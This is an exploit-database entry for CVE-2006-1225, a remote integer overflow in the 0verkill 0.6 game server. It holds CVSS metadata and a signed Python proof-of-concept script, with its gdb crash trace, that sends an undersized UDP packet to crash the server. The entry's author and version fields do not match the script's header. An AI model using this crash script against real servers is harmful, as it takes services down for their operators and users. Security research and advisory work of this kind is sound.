Exploitalert - Database of Exploits

0verkill 0.6, Remote integer overflow

CVE	Category	Price	Severity
CVE-2006-1225	CWE-190	$5000	Critical

Author	Risk	Exploitation Type	Date
Ilja van Sprundel	High	Remote	2006-06-18

CPE
cpe:cpe:/a:0verkill:0verkill:0.6

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	None	C	There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

http://cxsecurity.com/ascii/WLB-2006060095

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 #!/usr/bin/env python # # ----------------------------------------------------- # Exploit id: FSE:016 # # Author: Federico Fazzi # Contact: federico (at) autistici (dot) org [email concealed] # Date: 09/06/2006, 13:58 # Sinthesis: 0verkill 0.16, Remote integer overflow # Product: http://artax.karlin.mff.cuni.cz/~brain/0verkill/ # ----------------------------------------------------- # # Start with: # python f_0k-0.1.py <remote_addr> <remote_port> # # Proof of concept: # (gdb) run # Starting program: /home/federico/0verkill-0.16/server # 9. 6.2006 14:18:07 Running 0verkill server version 0.16 # 9. 6.2006 14:18:07 Initialization. # 9. 6.2006 14:18:07 Loading sprites. # 9. 6.2006 14:18:07 Loading level "level1".... # 9. 6.2006 14:18:07 Loading level graphics. # 9. 6.2006 14:18:08 Loading level map. # 9. 6.2006 14:18:08 Loading level objects. # 9. 6.2006 14:18:08 Initializing socket. # 9. 6.2006 14:18:08 Installing signal handlers. # 9. 6.2006 14:18:08 Game started. # 9. 6.2006 14:18:08 Sleep # 9. 6.2006 14:18:10 Wakeup # # (run python f_0k-0.6.py) # # Program received signal SIGSEGV, Segmentation fault. # crc32 (buf=0x837a000 <Address 0x837a000 out of bounds>, len=4294967288) at crc32.c:82 # warning: Source file is more recent than executable. # 82 DO8(buf); # # #0 0x0805b54a in recv_packet (packet=0x805fd20 "", # max_len=256, addr=0xf18df475, addr_len=0xf18df475, sender_server=0, recipient=0, # sender=0xbfcf6d54) at net.c:94 # 94 if (crc!=crc32(packet,retval-12))return -1; # # limits byte receive is 12, if you send an inferior number of it # the game crash. import os, sys from socket import * usage = "run: python %s [remote_addr] [remote_port] " % os.path.basename(sys.argv[0]) if len(sys.argv) < 3: print usage sys.exit() host = sys.argv[1] port = int(sys.argv[2]) sock = socket(AF_INET, SOCK_DGRAM) sock.connect((host, port)) print "connecting.. ", if sock > 0: print "done!" else: print "wrong!" print "crashing the server.. ", if sock.sendto('0x00' , (host, port)): print "done!" else: print "wrong!" print "wait five seconds, if no data found press CTRL+C" try: reply = sock.recvfrom(512) print reply except: print "no data receive!" sys.exit() -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.2 (GNU/Linux) iD8DBQFEiXFc/yZYyBsK/94RAuQGAJ4lf2yqd3s7iXX6cbcRKPh3Yn89sgCgrDXv Kjh+GPu1bIFMp7wKVP8rSoU= =BAam -----END PGP SIGNATURE-----

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